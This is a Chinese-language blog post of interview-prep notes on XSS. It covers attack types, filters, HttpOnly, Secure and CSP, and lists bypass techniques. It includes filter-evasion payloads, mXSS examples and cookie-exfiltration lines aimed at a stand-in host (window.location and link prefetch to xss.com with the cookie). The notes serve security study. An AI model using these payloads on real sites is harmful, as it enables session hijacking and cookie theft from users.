menu 绝望的肉
面试用渗透测试知识点梳理 -XSS
217 浏览 | 2021-03-22 | 阅读时间: 约 3 分钟 | 分类: 日常 | 标签:
请注意,本文编写于 190 天前,最后修改于 190 天前,其中某些信息可能已经过时。

XSS

1.XSS分类

反射XSS:XSS代码作为客户端输入的内容提交给服务端,服务端解析后,在相应内容中返回,最终由浏览器解析执行。

储存XSS:XSS代码作为客户端输入的内容提交给服务端,服务器将数据储存在数据库中,其他用户访问时都会触发XSS。

DOM型XSS:不需要服务端的响应解析,而是由浏览器端的DOM解析,是在JavaScript脚本动态执行的过程中产生的。

2.XSS防护和绕过

常用关键字过滤

特定标签:script,iframe,video....

事件过滤: onload...........

关键词过滤:alert,confirm,prompt等

html实体化编码:(需要考虑用户输入在script中的情况

CSP

Httponly

...

常见绕过:

  • 字符串拼接与混淆:使用'al'+'ert'绕过关键词过滤,或者使用atob("BASE64加密的payload")
  • 编码绕过:jsfuck绕过关键词...
  • 使用location.hash,window.name不太会,可以绕长度限制
  • 过滤"."时:js中可使用with关键字设置变量作用域 with(document)alert(cookie)
  • 过滤括号: 绑定错误处理函数,使用throw绕过<script>onerror=confirm;throw 1337</script>
  • 过滤空格: 使用0x 09,0x10,/,0x0a等绕过
  • 使用SVG:SVG 是使用 XML 来描述二维图形和绘图程序的语言。SVG可缩放矢量图形(Scalable Vector Graphics),顾名思义就是任意改变其大小也不会变形,是基于可扩展标记语言(XML),他严格遵从XML语法,可能允许存在编码后的字符。

3.HttpOnly

原理:禁止javascript读取,如果cookie中的一个参数带有httponly,则这个参数将不能被javascript获取;httponly可以防止xss会话劫持攻击。

绕过:虽然设置了httponly之后拿不到cookie,但是还是存在xss跨站语句,阻止的仅仅是获取cookie,可以钓鱼劫持

4.secure

原理:当设置为true时,表示创建的 Cookie 会被以安全的形式向服务器传输(ssl),即只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证,如果是 HTTP 连接则不会传递该信息,所以不会被窃取到Cookie 的具体内容。

5.CSP(内容安全策略)

​ Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生

​  CSP 可以由两种方式指定:HTTP Header 和 HTML。HTTP 是在 HTTP 由增加 Header 来指定,而 HTML 级别则由 Meta 标签指定。

​ meta中和服务器上请求头上设置是一样的效果,这种方式最简单,但是也有些缺陷,每个页面都需要添加,而且不能对限制的域名进行上报。

绕过:

1.策略为:Content-Security-Policy: default-src ‘none’;这种情况下,可以使用meta标签实现跳转.

<meta http-equiv="refresh" content=XXX >

2.策略为:script-src ‘unsafe-inline’;可以用window.location,或者window.open之类的方法进行跳转绕过

<script>   window.location="http://www.xss.com/x.php?c=[cookie]"; </script>

3.利用没有设置csp iframe内嵌另一个页面,如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP

4.link的标签预载将cookie带出

<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]"> 

5.利用浏览器补全,有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

'unsafe-inline' 允许使用内联 JavaScript 和 CSS

6.mxss

​ 使用构造的html代码绕过XSS过滤器检测,最终进入DOM节点,浏览器的渲染引擎将HTML代码渲染成为XSS代码。

例子

反引号打破属性边界导致的 mXSS

  • input
<img src="test.jpg" alt ="``onload=xss()" />
  • output
<IMG alt =``onload=xss() src ="test.jpg">

未知元素中的 xmlns 属性所导致的 mXSS

一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。可以通过设置这些标签的xmlns 属性,让浏览器知道这些未知的标签是的XML命名空间是什么。但解释后却产生了突变:

  • input
<pkav xmlns="><iframe onload=alert(1)">123</pkav>
  • ouput
<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe onload=alert(1)" /><pkav xmlns="><iframe onload=alert(1)">123</pkav>

CSS中反斜线转义,属性名转移

知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!